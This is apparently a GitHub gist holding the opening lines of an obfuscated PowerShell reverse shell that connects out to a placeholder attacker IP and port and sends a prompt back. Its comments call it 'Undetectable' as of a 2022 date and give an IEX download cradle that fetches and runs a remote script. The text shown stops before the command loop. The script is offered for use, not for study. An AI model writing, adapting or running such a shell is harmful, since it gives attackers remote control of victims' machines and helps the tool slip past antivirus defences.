This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#based on original script by @nikhil_mitt. Change ip and port | |
#Undetectable on 05/09/2022 | |
# Example IEX(New-Object Net.WebClient).downloadString('http://<ip>/<file>.ps1') | |
$KLK = New-Object System.Net.Sockets.TCPClient('<ip>','<port>'); | |
$PLP = $KLK.GetStream(); | |
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0}; | |
$VVCCA = ([text.encoding]::UTF8).GetBytes("Succesfuly connected .`n`n") | |
$PLP.Write($VVCCA,0,$VVCCA.Length) | |
$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ') |